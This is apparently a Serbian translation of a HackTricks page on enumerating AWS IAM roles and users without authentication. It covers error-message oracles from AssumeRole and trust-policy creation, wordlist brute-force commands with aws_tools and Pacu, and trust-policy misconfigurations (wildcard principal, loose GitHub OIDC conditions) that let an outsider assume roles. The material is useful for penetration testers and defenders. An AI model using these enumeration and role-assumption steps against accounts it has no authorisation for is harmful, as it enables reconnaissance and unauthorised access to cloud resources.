AWS - IAM & STS Unauthenticated Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Nabrojavanje uloga i korisničkih imena u nalogu

Pretpostavljeno Brute-Force Uloga

Ova tehnika više ne funkcioniše jer bez obzira da li uloga postoji ili ne uvek dobijate ovu grešku:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

Možete testirati ovo pokretanjem:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

Pokušaj pretpostavljanja uloge bez neophodnih dozvola pokreće AWS poruku o grešci. Na primer, ako niste ovlašćeni, AWS može vratiti:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

Ova poruka potvrđuje postojanje uloge, ali ukazuje da njen politika preuzimanja uloge ne dozvoljava vaše pretpostavljanje. Nasuprot tome, pokušaj pretpostavljanja nepostojeće uloge dovodi do drugačije greške:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

Interesantno je da je ovaj metod razlikovanja između postojećih i nepostojećih uloga primenljiv čak i preko različitih AWS naloga. Sa važećim AWS ID-jem naloga i ciljnom listom reči, moguće je enumerisati uloge prisutne u nalogu bez suočavanja sa bilo kakvim inherentnim ograničenjima.

Možete koristiti ovaj skript za enumeraciju potencijalnih principala zloupotrebljavajući ovaj problem.

Povereničke politike: Brute-Force Cross Account uloge i korisnike

Konfigurisanje ili ažuriranje povereničke politike IAM uloge podrazumeva definisanje koje AWS resurse ili usluge su dozvoljene da preuzmu tu ulogu i dobiju privremene akreditive. Ako navedeni resurs u politici postoji, poverenička politika se sačuva uspešno. Međutim, ako resurs ne postoji, generiše se greška, koja ukazuje da je pružen nevažeći princip.

Imajte na umu da u tom resursu možete navesti prekograničnu ulogu ili korisnika:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

Ovo je primer politike:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

Grafički korisnički interfejs

To je greška koju ćete pronaći ako koristite ulogu koja ne postoji. Ako uloga postoji, politika će biti sačuvana bez grešaka. (Greška je za ažuriranje, ali takođe radi prilikom kreiranja)

Komandna linija

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

Možete automatizovati ovaj proces sa https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

Naša upotreba Pacu:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • U primeru, uloga admin je uloga u vašem nalogu koju će pacu impersonirati kako bi kreirao politike koje su mu potrebne za enumeraciju

Privesc

U slučaju da je uloga loše konfigurisana i dozvoljava bilo kome da je preuzme:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Napadač bi to mogao samo pretpostaviti.

Federacija treće strane OIDC

Zamislite da uspete da pročitate Github Actions workflow koji pristupa ulogi unutar AWS-a. Ovo poverenje može omogućiti pristup ulozi sa sledećom politikom poverenja:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

Ova politika poverenja može biti ispravna, ali nedostatak dodatnih uslova trebao bi vas učiniti sumnjičavim. To je zato što prethodnu ulogu može preuzeti BILO KO iz Github akcija! Trebali biste specificirati i druge stvari u uslovima kao što su naziv org, naziv repozitorijuma, okruženje, grana...

Još jedna potencijalna greška u konfiguraciji je dodavanje uslova poput sledećeg:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

Napomena da zvezdica (*) pre dvotačke (:). Možete kreirati org kao što je org_name1 i pretpostaviti ulogu iz Github akcije.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated